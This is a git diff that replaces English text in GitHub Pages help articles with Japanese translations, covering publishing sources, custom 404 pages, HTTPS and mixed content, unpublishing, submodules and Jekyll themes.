 {% data reusables.pages.sidebar-pages %}
-3. Under "{% data variables.product.prodname_pages %}", use the **None** or **Branch** drop-down menu and select a publishing source.
-  ![Drop-down menu to select a publishing source](/assets/images/help/pages/publishing-source-drop-down.png)
-4. Optionally, use the drop-down menu to select a folder for your publishing source.
-  ![Drop-down menu to select a folder for publishing source](/assets/images/help/pages/publishing-source-folder-drop-down.png)
-5. Click **Save**.
-  ![Button to save changes to publishing source settings](/assets/images/help/pages/publishing-source-save.png)
+3. [{% data variables.product.prodname_pages %}] で、[**None**] または [**Branch**] ドロップダウンメニューから公開元を選択します。 ![公開元を選択するドロップダウンメニュー](/assets/images/help/pages/publishing-source-drop-down.png)
+4. 必要に応じて、ドロップダウンメニューで発行元のフォルダを選択します。 ![公開元のフォルダを選択するドロップダウンメニュー](/assets/images/help/pages/publishing-source-folder-drop-down.png)
+5. [**Save**] をクリックします。 ![公開元の設定への変更を保存するボタン](/assets/images/help/pages/publishing-source-save.png)
 
-## Troubleshooting publishing problems with your {% data variables.product.prodname_pages %} site
+## {% data variables.product.prodname_pages %} サイトの公開に関するトラブルシューティング
 
 {% data reusables.pages.admin-must-push %}
 
-If you choose the `docs` folder on any branch as your publishing source, then later remove the `/docs` folder from that branch in your repository, your site won't build and you'll get a page build error message for a missing `/docs` folder. For more information, see "[Troubleshooting Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites#missing-docs-folder)."
+If you choose the `docs` folder on any branch as your publishing source, then later remove the `/docs` folder from that branch in your repository, your site won't build and you'll get a page build error message for a missing `/docs` folder. 詳細については、「[{% data variables.product.prodname_pages %} サイトの Jekyll ビルドエラーに関するトラブルシューティング](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites#missing-docs-folder)」を参照してください。
 
-{% ifversion fpt %} 
+{% ifversion fpt %}
 
 Your {% data variables.product.prodname_pages %} site will always be deployed with a {% data variables.product.prodname_actions %} workflow run, even if you've configured your {% data variables.product.prodname_pages %} site to be built using a different CI tool. Most external CI workflows "deploy" to GitHub Pages by committing the build output to the `gh-pages` branch of the repository, and typically include a `.nojekyll` file. When this happens, the {% data variables.product.prodname_actions %} worfklow will detect the state that the branch does not need a build step, and will execute only the steps necessary to deploy the site to {% data variables.product.prodname_pages %} servers.
 
-To find potential errors with either the build or deployment, you can check the workflow run for your {% data variables.product.prodname_pages %} site by reviewing your repository's workflow runs. For more information, see "[Viewing workflow run history](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)."  For more information about how to re-run the workflow in case of an error, see "[Re-running workflows and jobs](/actions/managing-workflow-runs/re-running-workflows-and-jobs)."
+To find potential errors with either the build or deployment, you can check the workflow run for your {% data variables.product.prodname_pages %} site by reviewing your repository's workflow runs. 詳しい情報については、「[ワークフロー実行の履歴を表示する](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)」を参照してください。  For more information about how to re-run the workflow in case of an error, see "[Re-running workflows and jobs](/actions/managing-workflow-runs/re-running-workflows-and-jobs)."
 
 {% note %}
 
diff --git a/translations/ja-JP/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md b/translations/ja-JP/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md
index e2a6857bc7..543eda5a13 100644
--- a/translations/ja-JP/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md
+++ b/translations/ja-JP/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a custom 404 page for your GitHub Pages site
-intro: You can display a custom 404 error page when people try to access nonexistent pages on your site.
+title: GitHub Pages サイトのカスタム 404 ページを作成する
+intro: サイト上の存在しないページにアクセスしようとした際に表示される、404 エラーページをカスタマイズできます。
 redirect_from:
   - /articles/custom-404-pages
   - /articles/creating-a-custom-404-page-for-your-github-pages-site
@@ -13,26 +13,25 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Create custom 404 page
+shortTitle: カスタム404ページの作成
 ---
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.pages.navigate-publishing-source %}
 {% data reusables.files.add-file %}
-3. In the file name field, type `404.html` or `404.md`.
-  ![File name field](/assets/images/help/pages/404-file-name.png)
-4. If you named your file `404.md`, add the following YAML front matter to the beginning of the file:
+3. ファイル名のフィールドに、`404.html` または `404.md` と入力します。 ![ファイル名フィールド](/assets/images/help/pages/404-file-name.png)
+4. ファイル名を `404.md` とした場合、ファイルの先頭に以下の YAML front matter を追加します。
   ```yaml
   ---
   permalink: /404.html
   ---
   ```
-5. Below the YAML front matter, if present, add the content you want to display on your 404 page.
+5. YAML front matter の下に、404 ページに表示したいコンテンツがある場合には、それを追加します。
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose-commit-email %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_new_file %}
 
-## Further reading
+## 参考リンク
 
-- [Front matter](http://jekyllrb.com/docs/frontmatter) in the Jekyll documentation
+- Jekyll ドキュメンテーションの [Front matter](http://jekyllrb.com/docs/frontmatter)
diff --git a/translations/ja-JP/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md b/translations/ja-JP/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md
index fd7bb21e9a..f70d1267c2 100644
--- a/translations/ja-JP/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md
+++ b/translations/ja-JP/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a GitHub Pages site
-intro: 'You can create a {% data variables.product.prodname_pages %} site in a new or existing repository.'
+title: GitHub Pages サイトを作成する
+intro: '新規または既存のリポジトリ内に、{% data variables.product.prodname_pages %} サイトを作成できます。'
 redirect_from:
   - /articles/creating-pages-manually
   - /articles/creating-project-pages-manually
@@ -16,12 +16,12 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Create a GitHub Pages site
+shortTitle: GitHub Pagesのサイトの作成
 ---
 
 {% data reusables.pages.org-owners-can-restrict-pages-creation %}
 
-## Creating a repository for your site
+## サイト用にリポジトリを作成する
 
 {% data reusables.pages.new-or-existing-repo %}
 
@@ -32,7 +32,7 @@ shortTitle: Create a GitHub Pages site
 {% data reusables.repositories.initialize-with-readme %}
 {% data reusables.repositories.create-repo %}
 
-## Creating your site
+## サイトを作成する
 
 {% data reusables.pages.must-have-repo-first %}
 
@@ -40,8 +40,8 @@ shortTitle: Create a GitHub Pages site
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.pages.decide-publishing-source %}
-3. If your chosen publishing source already exists, navigate to the publishing source. If your chosen publishing source doesn't exist, create the publishing source.
-4. In the root of the publishing source, create a new file called `index.md` that contains the content you want to display on the main page of your site.
+3. 選択した公開元が既に存在する場合、公開元に移動します。 選択した公開元がまだ存在しない場合は、公開元を作成します。
+4. 公開元のルートに、サイトのメインページに表示したいコンテンツを含んだ、`index.md` という名前の新しいファイルを作成します。
 
   {% tip %}
 
@@ -57,16 +57,16 @@ shortTitle: Create a GitHub Pages site
 
 {% data reusables.pages.admin-must-push %}
 
-## Next steps
+## 次のステップ
 
-You can add more pages to your site by creating more new files. Each file will be available on your site in the same directory structure as your publishing source. For example, if the publishing source for your project site is the `gh-pages` branch, and you create a new file called `/about/contact-us.md` on the `gh-pages` branch, the file will be available at {% ifversion fpt or ghec %}`https://<user>.github.io/<repository>/{% else %}`http(s)://<hostname>/pages/<username>/<repository>/{% endif %}about/contact-us.html`.
+新しいファイルを追加で作成することにより、ページを追加できます。 各ファイルは、公開元と同じディレクトリ構造で、サイト上に表示されます。 たとえば、プロジェクトサイトの公開元が `gh-pages` ブランチで、新しいファイル `/about/contact-us.md` を `gh-pages` ブランチに作成した場合、ファイルは {% ifversion fpt or ghec %}`https://<user>.github.io/<repository>/{% else %}`http(s)://<hostname>/pages/<username>/<repository>/{% endif %}about/contact-us.html` で表示されます。
 
-You can also add a theme to customize your site’s look and feel. For more information, see {% ifversion fpt or ghec %}"[Adding a theme to your {% data variables.product.prodname_pages %} site with the theme chooser](/articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser){% else %}"[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll){% endif %}."
+また、サイトの見た目をカスタマイズするため、テーマを追加できます。 詳しい情報については、{% ifversion fpt or ghec %}「[テーマ選択画面で {% data variables.product.prodname_pages %} サイトにテーマを追加する](/articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser){% else %}「[Jekyll テーマ選択画面で {% data variables.product.prodname_pages %} サイトにテーマを追加する](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll){% endif %}」を参照してください。
 
-To customize your site even more, you can use Jekyll, a static site generator with built-in support for {% data variables.product.prodname_pages %}. For more information, see "[About {% data variables.product.prodname_pages %} and Jekyll](/articles/about-github-pages-and-jekyll)."
+サイトを更にカスタマイズするには、Jekyll を使用できます。Jekyll は、{% data variables.product.prodname_pages %} に組み込まれている静的サイトジェネレータです。 詳しい情報については、「[{% data variables.product.prodname_pages %} と Jekyll](/articles/about-github-pages-and-jekyll)」を参照してください。
 
-## Further reading
+## 参考リンク
 
-- "[Troubleshooting Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)"
-- "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository)"
-- "[Creating new files](/articles/creating-new-files)"
+- [{% data variables.product.prodname_pages %} サイトの Jekyll ビルドエラーに関するトラブルシューティング](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)
+- [リポジトリ内でブランチを作成および削除する](/articles/creating-and-deleting-branches-within-your-repository)
+- [新しいファイルの作成](/articles/creating-new-files)
diff --git a/translations/ja-JP/content/pages/getting-started-with-github-pages/index.md b/translations/ja-JP/content/pages/getting-started-with-github-pages/index.md
index b391a4458c..1714b813ba 100644
--- a/translations/ja-JP/content/pages/getting-started-with-github-pages/index.md
+++ b/translations/ja-JP/content/pages/getting-started-with-github-pages/index.md
@@ -1,6 +1,6 @@
 ---
-title: Getting started with GitHub Pages
-intro: 'You can set up a basic {% data variables.product.prodname_pages %} site for yourself, your organization, or your project.'
+title: GitHub Pages を使ってみる
+intro: '基本的な {% data variables.product.prodname_pages %} サイトを、あなたやあなたの Organization、またはあなたのプロジェクトのためにセットアップできます。'
 redirect_from:
   - /categories/github-pages-basics
   - /articles/additional-customizations-for-github-pages
@@ -24,6 +24,6 @@ children:
   - /securing-your-github-pages-site-with-https
   - /using-submodules-with-github-pages
   - /unpublishing-a-github-pages-site
-shortTitle: Get started
+shortTitle: 始めましょう！
 ---
 
diff --git a/translations/ja-JP/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md b/translations/ja-JP/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md
index b0a0606bd7..38a7076147 100644
--- a/translations/ja-JP/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md
+++ b/translations/ja-JP/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md
@@ -1,6 +1,6 @@
 ---
-title: Securing your GitHub Pages site with HTTPS
-intro: 'HTTPS adds a layer of encryption that prevents others from snooping on or tampering with traffic to your site. You can enforce HTTPS for your {% data variables.product.prodname_pages %} site to transparently redirect all HTTP requests to HTTPS.'
+title: HTTPS で GitHub Pages サイトを保護する
+intro: 'HTTPS は、他者によるあなたのサイトへのトラフィックの詮索や改ざんを防ぐ暗号化のレイヤーを追加します。 透過的に HTTP リクエストを HTTPS にリダイレクトするために、あなたの {% data variables.product.prodname_pages %} サイトに HTTPS を強制できます。'
 product: '{% data reusables.gated-features.pages %}'
 redirect_from:
   - /articles/securing-your-github-pages-site-with-https
@@ -10,14 +10,14 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Secure site with HTTPS
+shortTitle: HTTPSでのサイトの保護
 ---
 
-People with admin permissions for a repository can enforce HTTPS for a {% data variables.product.prodname_pages %} site.
+リポジトリの管理者権限があるユーザは、{% data variables.product.prodname_pages %} サイトに強制的に HTTPS を指定できます。
 
-## About HTTPS and {% data variables.product.prodname_pages %}
+## HTTPS と {% data variables.product.prodname_pages %} について
 
-All {% data variables.product.prodname_pages %} sites, including sites that are correctly configured with a custom domain, support HTTPS and HTTPS enforcement. For more information about custom domains, see "[About custom domains and {% data variables.product.prodname_pages %}](/articles/about-custom-domains-and-github-pages)" and "[Troubleshooting custom domains and {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages#https-errors)."
+カスタムドメインが正しく設定されたサイトを含めたすべての {% data variables.product.prodname_pages %} サイトは、HTTPS や HTTPS 強制をサポートします。 カスタムドメインの詳細は、「[カスタムドメインと {% data variables.product.prodname_pages %} について](/articles/about-custom-domains-and-github-pages)」と「[カスタムドメインと {% data variables.product.prodname_pages %} のトラブルシューティング](/articles/troubleshooting-custom-domains-and-github-pages#https-errors)」を参照してください。
 
 {% data reusables.pages.no_sensitive_data_pages %}
 
@@ -29,13 +29,12 @@ All {% data variables.product.prodname_pages %} sites, including sites that are
 
 {% endnote %}
 
-## Enforcing HTTPS for your {% data variables.product.prodname_pages %} site
+## あなたの {% data variables.product.prodname_pages %} サイトに HTTPS を強制する
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.pages.sidebar-pages %}
-3. Under "{% data variables.product.prodname_pages %}," select **Enforce HTTPS**.
-  ![Enforce HTTPS checkbox](/assets/images/help/pages/enforce-https-checkbox.png)
+3. [{% data variables.product.prodname_pages %}] で、[**Enforce HTTPS**] を選択します。 ![[Enforce HTTPS] チェックボックス](/assets/images/help/pages/enforce-https-checkbox.png)
 
 ## Troubleshooting certificate provisioning ("Certificate not yet created" error")
 
@@ -43,28 +42,28 @@ When you set or change your custom domain in the Pages settings, an automatic DN
 
 The process may take some time. If the process has not completed several minutes after you clicked **Save**, try clicking **Remove** next to your custom domain name. Retype the domain name and click **Save** again. This will cancel and restart the provisioning process.
 
-## Resolving problems with mixed content
+## 混在したコンテンツの問題を解決する
 
-If you enable HTTPS for your {% data variables.product.prodname_pages %} site but your site's HTML still references images, CSS, or JavaScript over HTTP, then your site is serving *mixed content*. Serving mixed content may make your site less secure and cause trouble loading assets.
+{% data variables.product.prodname_pages %} サイトの HTTPS を有効化したが、サイトの HTML がまだ HTTP 経由で画像、CSS、JavaScript を参照している場合、サイトは*混在したコンテンツ*を提供する場合があります。 混在したコンテンツを提供することで、サイトのセキュリティが下がり、アセットの読み込みに問題が生じる場合があります。
 
-To remove your site's mixed content, make sure all your assets are served over HTTPS by changing `http://` to `https://` in your site's HTML.
+サイトでコンテンツの混在を解消するには、サイトの HTML で `http://` を `https://` に変更して、すべてのアセットが HTTPS 経由で提供されるようにしてください。
 
-Assets are commonly found in the following locations:
-- If your site uses Jekyll, your HTML files will probably be found in the *_layouts* folder.
-- CSS is usually found in the `<head>` section of your HTML file.
-- JavaScript is usually found in the `<head>` section or just before the closing `</body>` tag.
-- Images are often found in the `<body>` section.
+アセットは通常、以下の場所にあります。
+- サイトで Jekyll を使用している場合、HTML ファイルは *_layouts* フォルダにあります。
+- CSS は普通、HTML ファイルの `<head>` セクションにあります。
+- JavaScript は通常、`<head>` セクションまたは閉じタグ `</body>` の直前にあります。
+- 画像はたいてい、`<body>` セクションにあります。
 
 {% tip %}
 
-**Tip:** If you can't find your assets in your site's source files, try searching your site's source files for `http` in your text editor or on {% data variables.product.product_name %}.
+**ヒント:** サイトのソースファイルでアセットが見つからない場合は、テキストエディタまたは {% data variables.product.product_name %} 上で、サイトのソースファイルから `http`を検索してみましょう。
 
 {% endtip %}
 
-### Examples of assets referenced in an HTML file
+### HTML ファイルで参照されているアセットの例
 
-| Asset type | HTTP                                      | HTTPS                             |
-|:----------:|:-----------------------------------------:|:---------------------------------:|
-| CSS        | `<link rel="stylesheet" href="http://example.com/css/main.css">` | `<link rel="stylesheet" href="https://example.com/css/main.css">`
-| JavaScript   |  `<script type="text/javascript" src="http://example.com/js/main.js"></script>`  |   `<script type="text/javascript" src="https://example.com/js/main.js"></script>`
-| Image        |  `<A HREF="http://www.somesite.com"><IMG SRC="http://www.example.com/logo.jpg" alt="Logo"></a>`  | `<A HREF="https://www.somesite.com"><IMG SRC="https://www.example.com/logo.jpg" alt="Logo"></a>`  
+|  アセットのタイプ  |                                                       HTTP                                                       |                                                       HTTPS                                                        |
+|:----------:|:----------------------------------------------------------------------------------------------------------------:|:------------------------------------------------------------------------------------------------------------------:|
+|    CSS     |                      `<link rel="stylesheet" href="http://example.com/css/main.css">`                      |                      `<link rel="stylesheet" href="https://example.com/css/main.css">`                       |
+| JavaScript |            `<script type="text/javascript" src="http://example.com/js/main.js"></script>`            |            `<script type="text/javascript" src="https://example.com/js/main.js"></script>`             |
+|     画像     | `<A HREF="http://www.somesite.com"><IMG SRC="http://www.example.com/logo.jpg" alt="Logo"></a>` | `<A HREF="https://www.somesite.com"><IMG SRC="https://www.example.com/logo.jpg" alt="Logo"></a>` |  
diff --git a/translations/ja-JP/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md b/translations/ja-JP/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md
index bcc60251c3..ee40887100 100644
--- a/translations/ja-JP/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md
+++ b/translations/ja-JP/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md
@@ -1,6 +1,6 @@
 ---
-title: Unpublishing a GitHub Pages site
-intro: 'You can unpublish your {% data variables.product.prodname_pages %} site so that the site is no longer available.'
+title: GitHub Pages サイトを取り下げる
+intro: '{% data variables.product.prodname_pages %} サイトを取り下げて、サイトを利用不可にすることができます。'
 redirect_from:
   - /articles/how-do-i-unpublish-a-project-page
   - /articles/unpublishing-a-project-page
@@ -17,22 +17,21 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Unpublish Pages site
+shortTitle: Pagesサイトの公開取り下げ
 ---
 
-## Unpublishing a project site
+## プロジェクトサイトを取り下げる
 
 {% data reusables.repositories.navigate-to-repo %}
-2. If a `gh-pages` branch exists in the repository, delete the `gh-pages` branch. For more information, see "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository#deleting-a-branch)."
-3. If the `gh-pages` branch was your publishing source, {% ifversion fpt or ghec %}skip to step 6{% else %}your site is now unpublished and you can skip the remaining steps{% endif %}.
+2. リポジトリに `gh-pages` ブランチが存在する場合は、`gh-pages` ブランチを削除します。 詳しい情報については[リポジトリ内でのブランチの作成と削除](/articles/creating-and-deleting-branches-within-your-repository#deleting-a-branch)を参照してください。
+3. 公開ソースが`gh-pages`ブランチなら、{% ifversion fpt or ghec %}ステップ 6 までスキップします{% else %}サイトの公開は取り消され、残りのステップをスキップできます{% endif %}。
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.pages.sidebar-pages %}
-5. Under "{% data variables.product.prodname_pages %}", use the **Source** drop-down menu and select **None.**
-  ![Drop down menu to select a publishing source](/assets/images/help/pages/publishing-source-drop-down.png)
+5. {% data variables.product.prodname_pages %} で、[**Source**] ドロップダウンメニューを使用して [**None**] を選択します。 ![公開元を選択するドロップダウンメニュー](/assets/images/help/pages/publishing-source-drop-down.png)
 {% data reusables.pages.update_your_dns_settings %}
 
-## Unpublishing a user or organization site
+## ユーザまたは Organization サイトを取り下げる
 
 {% data reusables.repositories.navigate-to-repo %}
-2. Delete the branch that you're using as a publishing source, or delete the entire repository. For more information, see "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository#deleting-a-branch)" and "[Deleting a repository](/articles/deleting-a-repository)."
+2. 公開元として使用しているブランチを削除するか、リポジトリ全体を削除します。 詳細は「[リポジトリ内でブランチを作成および削除する](/articles/creating-and-deleting-branches-within-your-repository#deleting-a-branch)」および「[リポジトリを削除する](/articles/deleting-a-repository)」を参照してください。
 {% data reusables.pages.update_your_dns_settings %}
diff --git a/translations/ja-JP/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md b/translations/ja-JP/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md
index a29e68ab61..f82bee7e4a 100644
--- a/translations/ja-JP/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md
+++ b/translations/ja-JP/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md
@@ -1,6 +1,6 @@
 ---
-title: Using submodules with GitHub Pages
-intro: 'You can use submodules with {% data variables.product.prodname_pages %} to include other projects in your site''s code.'
+title: GitHub Pages でサブモジュールを使用する
+intro: '{% data variables.product.prodname_pages %} でサブモジュールを使用すると、他のサイトのコードで他のプロジェクトを含めることができます。'
 redirect_from:
   - /articles/using-submodules-with-pages
   - /articles/using-submodules-with-github-pages
@@ -11,16 +11,16 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Use submodules with Pages
+shortTitle: Pagesでのサブモジュールの利用
 ---
 
-If the repository for your {% data variables.product.prodname_pages %} site contains submodules, their contents will automatically be pulled in when your site is built.
+{% data variables.product.prodname_pages %} サイトのリポジトリにサブモジュールが含まれている場合、その内容はサイトをビルドする際に自動的にプルされます。
 
-You can only use submodules that point to public repositories, because the {% data variables.product.prodname_pages %} server cannot access private repositories.
+使用できるのは、パブリックリポジトリをポイントするサブモジュールだけです。{% data variables.product.prodname_pages %} サーバーはプライベートリポジトリにはアクセスできないためです。
 
-Use the `https://` read-only URL for your submodules, including nested submodules. You can make this change in your _.gitmodules_ file.
+ネストされたサブモジュールも含めて、サブモジュールには `https://` 読み取り専用 URL を使用してください。 この変更は _.gitmodules_ ファイルで行うことができます。
 
-## Further reading
+## 参考リンク
 
-- "[Git Tools - Submodules](https://git-scm.com/book/en/Git-Tools-Submodules)" from the _Pro Git_ book
-- "[Troubleshooting Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)"
+- _Pro Git_ ブックの「[Git Tools - Submodules](https://git-scm.com/book/en/Git-Tools-Submodules)」
+- [{% data variables.product.prodname_pages %} サイトの Jekyll ビルドエラーに関するトラブルシューティング](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)
diff --git a/translations/ja-JP/content/pages/index.md b/translations/ja-JP/content/pages/index.md
index ac99f2500e..4c6930bb35 100644
--- a/translations/ja-JP/content/pages/index.md
+++ b/translations/ja-JP/content/pages/index.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Pages Documentation
+title: GitHub Pagesのドキュメンテーション
 shortTitle: GitHub Pages
 intro: 'You can create a website directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.'
 redirect_from:
@@ -24,3 +24,4 @@ children:
   - /setting-up-a-github-pages-site-with-jekyll
   - /configuring-a-custom-domain-for-your-github-pages-site
 ---
+
diff --git a/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md b/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md
index e93f69bfd4..02d586a5b4 100644
--- a/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md
+++ b/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md
@@ -1,6 +1,6 @@
 ---
-title: Adding a theme to your GitHub Pages site using Jekyll
-intro: You can personalize your Jekyll site by adding and customizing a theme.
+title: Jekyll を使用して GitHub Pages サイトにテーマを追加する
+intro: テーマを追加およびカスタマイズすることにより、Jekyll サイトをパーソナライズできます。
 redirect_from:
   - /articles/customizing-css-and-html-in-your-jekyll-theme
   - /articles/adding-a-jekyll-theme-to-your-github-pages-site
@@ -14,30 +14,28 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Add theme to Pages site
+shortTitle: Pagesサイトへのテーマの追加
 ---
 
-People with write permissions for a repository can add a theme to a {% data variables.product.prodname_pages %} site using Jekyll.
+リポジトリへの書き込み権限があるユーザは、Jekyll を使用して {% data variables.product.prodname_pages %} サイトにテーマを追加できます。
 
 {% data reusables.pages.test-locally %}
 
-## Adding a theme
+## テーマを追加する
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.pages.navigate-publishing-source %}
-2. Navigate to *_config.yml*.
+2. *_config.yml* に移動します。
 {% data reusables.repositories.edit-file %}
-4. Add a new line to the file for the theme name.
-   - To use a supported theme, type `theme: THEME-NAME`, replacing _THEME-NAME_ with the name of the theme as shown in the README of the theme's repository. For a list of supported themes, see "[Supported themes](https://pages.github.com/themes/)" on the {% data variables.product.prodname_pages %} site.
-   ![Supported theme in config file](/assets/images/help/pages/add-theme-to-config-file.png)
-   - To use any other Jekyll theme hosted on {% data variables.product.prodname_dotcom %}, type `remote_theme: THEME-NAME`, replacing THEME-NAME with the name of the theme as shown in the README of the theme's repository.
-   ![Unsupported theme in config file](/assets/images/help/pages/add-remote-theme-to-config-file.png)
+4. テーマ名のために、ファイルに新しい行を追加します。
+   - サポートされているテーマを使用するには、`theme: THEME-NAME` と入力し、テーマのリポジトリの README に表示されているテーマの名前に _THEME-NAME_ を置き換えます。 サポートされているテーマのリストについては、{% data variables.product.prodname_pages %} サイトで「[サポートされているテーマ](https://pages.github.com/themes/)」を参照してください。 ![設定ファイルでサポートされているテーマ](/assets/images/help/pages/add-theme-to-config-file.png)
+   - {% data variables.product.prodname_dotcom %} にホストされているその他の任意の Jekyll テーマを使うには、`remote_theme: THEME-NAME` と入力します。THEME-NAME の部分は、テーマのリポジトリの README に表示されている名前に置き換えます。 ![設定ファイルでサポートされていないテーマ](/assets/images/help/pages/add-remote-theme-to-config-file.png)
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose-commit-email %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_file_change %}
 
-## Customizing your theme's CSS
+## テーマの CSS をカスタマイズする
 
 {% data reusables.pages.best-with-supported-themes %}
 
@@ -45,31 +43,31 @@ People with write permissions for a repository can add a theme to a {% data vari
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.pages.navigate-publishing-source %}
-1. Create a new file called _/assets/css/style.scss_.
-2. Add the following content to the top of the file:
+1. _/assets/css/style.scss_ という新しいファイルを作成します。
+2. ファイルの先頭に、以下の内容を追加します。
   ```scss
   ---
   ---
 
   @import "{{ site.theme }}";
   ```
-3. Add any custom CSS or Sass (including imports) you'd like immediately after the `@import` line.
+3. カスタム CSS または Sass (インポートファイルも含む) があれば `@import` 行の直後に追加します。
 
-## Customizing your theme's HTML layout
+## テーマの HTML レイアウトをカスタマイズする
 
 {% data reusables.pages.best-with-supported-themes %}
 
 {% data reusables.pages.theme-customization-help %}
 
-1. On {% data variables.product.prodname_dotcom %}, navigate to your theme's source repository. For example, the source repository for Minima is https://github.com/jekyll/minima.
-2. In the *_layouts* folder, navigate to your theme's _default.html_ file.
-3. Copy the contents of the file.
+1. {% data variables.product.prodname_dotcom %} 上で、テーマのソースリポジトリにアクセスします。 たとえば、Minima のソースリポジトリは https://github.com/jekyll/minima です。
+2. *_layouts* フォルダ内で、テーマの _default.html_ ファイルに移動します。
+3. ファイルのコンテンツをコピーします。
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.pages.navigate-publishing-source %}
-6. Create a file called *_layouts/default.html*.
-7. Paste the default layout content you copied earlier.
-8. Customize the layout as you'd like.
+6. *_layouts/default.html* というファイルを作成します。
+7. 先ほどコピーしたデフォルトのレイアウトコンテンツを貼り付けます。
+8. 必要に応じてレイアウトをカスタマイズします。
 
-## Further reading
+## 参考リンク
 
-- "[Creating new files](/articles/creating-new-files)"
+- [新しいファイルの作成](/articles/creating-new-files)
diff --git a/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md b/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md
index 43c4262281..ffba21a3d1 100644
--- a/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md
+++ b/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a GitHub Pages site with Jekyll
-intro: 'You can use Jekyll to create a {% data variables.product.prodname_pages %} site in a new or existing repository.'
+title: Jekyll を使用して GitHub Pages サイトを作成する
+intro: '新規または既存のリポジトリ内に、{% data variables.product.prodname_pages %} Jekyll を使用してサイトを作成できます。'
 product: '{% data reusables.gated-features.pages %}'
 redirect_from:
   - /articles/creating-a-github-pages-site-with-jekyll
@@ -13,20 +13,20 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Create site with Jekyll
+shortTitle: Jekyllでのサイトの作成
 ---
 
 {% data reusables.pages.org-owners-can-restrict-pages-creation %}
 
-## Prerequisites
+## 必要な環境
 
-Before you can use Jekyll to create a {% data variables.product.prodname_pages %} site, you must install Jekyll and Git. For more information, see [Installation](https://jekyllrb.com/docs/installation/) in the Jekyll documentation and "[Set up Git](/articles/set-up-git)."
+Jekyll を使用して {% data variables.product.prodname_pages %} サイトを作成する前に、Jekyll と Git をインストールする必要があります。 詳しい情報については、Jekyll ドキュメンテーションの [Installation](https://jekyllrb.com/docs/installation/) および「[Git のセットアップ](/articles/set-up-git)」を参照してください。
 
 {% data reusables.pages.recommend-bundler %}
 
